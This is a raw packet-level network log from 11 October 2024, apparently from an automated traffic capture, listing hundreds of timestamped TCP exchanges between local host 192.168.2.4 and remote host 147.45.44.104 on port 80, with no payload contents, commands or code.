Oct 11, 2024 23:07:02.084187031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.084224939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084256887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084273100 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.084306955 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084352970 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.084357977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084391117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084422112 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084435940 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.084477901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084510088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084525108 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.084541082 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084572077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084587097 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.084606886 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084656000 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.084774017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084805965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084855080 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.084857941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084891081 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084935904 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.084944010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084992886 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085035086 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085055113 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.085067034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085098982 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085112095 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.085129976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085163116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085175037 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.085376978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085424900 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.085448980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085498095 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085530996 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085546970 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.085562944 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085593939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085608006 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.085627079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085675001 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085683107 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.085705042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085736990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085752964 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.085768938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085800886 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085819960 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.085832119 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085864067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085876942 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.085895061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085928917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.085939884 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.086313009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086363077 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.086364031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086396933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086443901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086451054 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.086474895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086527109 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.086529016 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086577892 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086611032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086622000 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.086642981 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086673975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086688995 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.086705923 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086736917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086750031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.086769104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086801052 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086812973 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.086833000 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086865902 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.086878061 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.087357044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.087416887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.087418079 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.087467909 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.087513924 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.087517977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.087737083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.087768078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.087786913 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.087800980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.087832928 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.087846041 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.087865114 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.087897062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.087909937 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.087929010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.087963104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.087974072 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.087996006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088027954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088041067 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.088059902 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088093996 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088104963 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.088248968 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088284016 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088310003 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.088334084 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088365078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088382959 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.088413954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088445902 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088463068 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.088495016 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088526964 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088542938 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.088557959 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088588953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088599920 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.088620901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088653088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088670969 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.088685036 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088716030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088733912 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.088746071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088781118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.088814020 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.089241982 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.089292049 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.089298010 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.089327097 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.089359045 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.089379072 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.089397907 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.089453936 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.173753977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.173842907 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.173899889 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.174057961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.174797058 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.174834013 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.174906969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175045013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175092936 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.175137997 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175373077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175410032 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.175431013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175447941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175462008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175482988 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.175594091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175607920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175622940 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175628901 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.175646067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175658941 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.175659895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175673962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.175695896 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.226172924 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263207912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263243914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263259888 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263274908 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263298988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263313055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263326883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263333082 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263341904 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263358116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263375998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263396025 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263381958 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263426065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263432026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263432026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263452053 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263465881 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263479948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263494968 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263497114 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263513088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263516903 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263528109 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263536930 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263542891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263557911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263572931 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263576031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263588905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263596058 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263633013 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263742924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263775110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263808012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263823986 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263840914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263873100 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263889074 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263905048 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263937950 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.263950109 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.263994932 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.264028072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.264046907 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.264060020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.264094114 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.264110088 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.264126062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.264158010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.264172077 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.264190912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.264226913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.264235973 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.304310083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.353528976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.353600979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.353636026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.353665113 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.353672028 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.353705883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.353727102 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.353739023 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.353782892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.353790045 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.353822947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.353854895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.353868008 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.353888035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.353921890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.353935003 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.353960037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.353991985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354008913 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.354024887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354058981 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354074001 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.354091883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354123116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354140997 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.354156971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354190111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354201078 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.354223013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354254961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354278088 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.354289055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354312897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354327917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354332924 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.354345083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.354374886 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.398152113 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.443933010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.443969965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.443986893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.443996906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444006920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444024086 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444039106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444052935 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444067001 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444082022 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444089890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444103956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444111109 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.444118023 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444132090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444147110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444169998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444184065 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.444185019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444184065 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.444199085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444211960 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.444216967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444230080 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.444231987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444247007 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444248915 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.444262028 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444272995 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.444295883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444312096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444327116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444327116 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.444341898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.444356918 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.444397926 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.533812046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.533888102 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.533910990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.533927917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.533962965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.533977985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534013033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534065008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534071922 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.534097910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534127951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534140110 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.534141064 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.534142971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534158945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534173012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534181118 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.534188032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534200907 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.534204960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534219980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534233093 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.534234047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534249067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534260988 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.534262896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534277916 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534291983 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534293890 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.534307957 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534321070 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.534322023 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534337044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534353971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.534357071 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.534379959 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.585652113 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.631114006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631223917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.631259918 CEST	80	49730	147.45.44.104	192.168.2.4
